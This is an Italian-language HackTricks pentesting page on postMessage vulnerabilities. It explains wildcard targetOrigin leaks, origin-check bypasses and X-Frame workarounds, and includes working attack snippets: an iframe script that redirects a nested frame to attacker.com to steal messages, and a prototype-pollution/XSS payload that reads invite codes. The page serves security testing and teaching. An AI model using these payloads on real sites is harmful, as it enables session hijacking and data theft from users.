hacktricks/pentesting-web/postmessage-vulnerabilities/README.md

16 KiB
Raw Blame History

Vulnerabilità di PostMessage

Vulnerabilità di PostMessage

Impara l'hacking su AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

WhiteIntel

WhiteIntel è un motore di ricerca alimentato dal dark web che offre funzionalità gratuite per verificare se un'azienda o i suoi clienti sono stati compromessi da malware ruba-informazioni.

Il loro obiettivo principale di WhiteIntel è combattere i takeover di account e gli attacchi ransomware derivanti da malware che rubano informazioni.

Puoi visitare il loro sito web e provare il loro motore gratuitamente su:

{% embed url="https://whiteintel.io" %}


Invia PostMessage

PostMessage utilizza la seguente funzione per inviare un messaggio:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Si noti che targetOrigin può essere un '*' oppure un URL come https://azienda.com.
Nel secondo scenario, il messaggio può essere inviato solo a quel dominio (anche se l'origine dell'oggetto finestra è diversa).
Se viene utilizzato il carattere jolly, i messaggi potrebbero essere inviati a qualsiasi dominio, e saranno inviati all'origine dell'oggetto Finestra.

Attaccare l'iframe e il carattere jolly in targetOrigin

Come spiegato in questo rapporto se trovi una pagina che può essere inserita in un iframe (senza protezione X-Frame-Header) e che sta inviando messaggi sensibili tramite postMessage utilizzando un carattere jolly (*), puoi modificare l'origine dell'iframe e rivelare il messaggio sensibile a un dominio controllato da te.
Si noti che se la pagina può essere inserita in un iframe ma il targetOrigin è impostato su un URL e non su un carattere jolly, questo trucco non funzionerà.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

Sfruttamento di addEventListener

addEventListener è la funzione utilizzata da JS per dichiarare la funzione che si aspetta postMessages.
Un codice simile al seguente verrà utilizzato:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

Nota in questo caso come la prima cosa che il codice fa è controllare l'origine. Questo è estremamente importante soprattutto se la pagina sta per fare qualcosa di sensibile con le informazioni ricevute (come cambiare una password). Se non controlla l'origine, gli attaccanti possono far inviare dati arbitrari a questi endpoint e cambiare le password delle vittime (in questo esempio).

Enumerazione

Per trovare gli event listener nella pagina corrente puoi:

  • Cercare nel codice JS per window.addEventListener e $(window).on (versione JQuery)
  • Eseguire nella console degli strumenti per sviluppatori: getEventListeners(window)

  • Andare su Elementi --> Event Listeners negli strumenti per sviluppatori del browser

Bypass degli controlli di origine

  • L'attributo event.isTrusted è considerato sicuro in quanto restituisce True solo per eventi generati da azioni autentiche dell'utente. Anche se è difficile da aggirare se implementato correttamente, la sua importanza nei controlli di sicurezza è notevole.
  • L'uso di indexOf() per la validazione dell'origine negli eventi PostMessage potrebbe essere suscettibile di bypass. Un esempio che illustra questa vulnerabilità è:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • Il metodo search() di String.prototype.search() è destinato alle espressioni regolari, non alle stringhe. Passare qualsiasi cosa diversa da una regexp porta a una conversione implicita in regex, rendendo il metodo potenzialmente insicuro. Questo perché nelle regex, un punto (.) funziona come un carattere jolly, consentendo di aggirare la validazione con domini appositamente creati. Ad esempio:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • La funzione match(), simile a search(), elabora le regex. Se la regex è strutturata in modo improprio, potrebbe essere vulnerabile all'aggiramento.

  • La funzione escapeHtml è destinata a sanificare gli input mediante l'escape dei caratteri. Tuttavia, non crea un nuovo oggetto di escape ma sovrascrive le proprietà dell'oggetto esistente. Questo comportamento può essere sfruttato. In particolare, se un oggetto può essere manipolato in modo che la sua proprietà controllata non riconosca hasOwnProperty, l'escapeHtml non funzionerà come previsto. Questo è dimostrato negli esempi seguenti:

  • Fallimento previsto:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • Bypass dell'escape:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

Nel contesto di questa vulnerabilità, l'oggetto File è particolarmente sfruttabile a causa della sua proprietà name in sola lettura. Questa proprietà, quando utilizzata nei template, non viene sanificata dalla funzione escapeHtml, portando a potenziali rischi per la sicurezza.

  • La proprietà document.domain in JavaScript può essere impostata da uno script per abbreviare il dominio, consentendo un'applicazione più rilassata della stessa politica di origine all'interno dello stesso dominio principale.

Bypass di e.origin == window.origin

Quando si incorpora una pagina web all'interno di un iframe sandbox utilizzando %%%%%%, è cruciale comprendere che l'origine dell'iframe sarà impostata su null. Questo è particolarmente importante quando si tratta di attributi sandbox e delle loro implicazioni sulla sicurezza e sulla funzionalità.

Specificando allow-popups nell'attributo sandbox, ogni finestra popup aperta dall'interno dell'iframe eredita le restrizioni sandbox del suo genitore. Ciò significa che a meno che non sia incluso anche l'attributo allow-popups-to-escape-sandbox, l'origine della finestra popup è anch'essa impostata su null, allineandosi con l'origine dell'iframe.

Di conseguenza, quando viene aperta una popup in queste condizioni e viene inviato un messaggio dall'iframe alla popup utilizzando postMessage, sia il mittente che il destinatario hanno le loro origini impostate su null. Questa situazione porta a uno scenario in cui e.origin == window.origin si valuta come vero (null == null), poiché sia l'iframe che la popup condividono lo stesso valore di origine null.

Per ulteriori informazioni leggi:

{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}

Aggiramento di e.source

È possibile verificare se il messaggio proviene dalla stessa finestra in cui lo script è in ascolto (particolarmente interessante per Content Scripts delle estensioni del browser per verificare se il messaggio è stato inviato dalla stessa pagina):

// If its not, return immediately.
if( received_message.source !== window ) {
return;
}

Puoi forzare e.source di un messaggio a essere nullo creando un iframe che invia il postMessage e viene immediatamente eliminato.

Per ulteriori informazioni leggi:

{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}

Bypass dell'intestazione X-Frame

Per eseguire questi attacchi idealmente dovresti essere in grado di inserire la pagina web della vittima all'interno di un iframe. Tuttavia, alcune intestazioni come X-Frame-Header possono prevenire tale comportamento.
In questi scenari, puoi comunque utilizzare un attacco meno stealthy. Puoi aprire una nuova scheda all'applicazione web vulnerabile e comunicare con essa:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Rubare il messaggio inviato al figlio bloccando la pagina principale

Nella seguente pagina puoi vedere come potresti rubare dati sensibili inviati tramite postmessage a un iframe figlio bloccando la pagina principale prima di inviare i dati e sfruttando un XSS nel figlio per rivelare i dati prima che vengano ricevuti:

{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}

Rubare il messaggio modificando la posizione dell'iframe

Se puoi inserire un iframe in una pagina web senza l'header X-Frame che contiene un altro iframe, puoi cambiare la posizione di quell'iframe figlio, quindi se sta ricevendo un postmessage inviato utilizzando un wildcard, un attaccante potrebbe cambiare l'origine di quell'iframe a una pagina controllata da lui e rubare il messaggio:

{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}

postMessage a Prototype Pollution e/o XSS

Nei casi in cui i dati inviati tramite postMessage vengono eseguiti da JS, puoi inserire un iframe nella pagina e sfruttare la prototype pollution/XSS inviando l'exploit tramite postMessage.

Un paio di XSS molto ben spiegati tramite postMessage possono essere trovati in https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Esempio di un exploit per abusare della Prototype Pollution e poi XSS tramite un postMessage a un iframe:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

Per ulteriori informazioni:

Riferimenti

WhiteIntel

WhiteIntel è un motore di ricerca alimentato dal dark web che offre funzionalità gratuite per verificare se un'azienda o i suoi clienti sono stati compromessi da malware stealer.

Il loro obiettivo principale è combattere i takeover degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.

Puoi visitare il loro sito web e provare il loro motore gratuitamente su:

{% embed url="https://whiteintel.io" %}

Impara l'hacking su AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: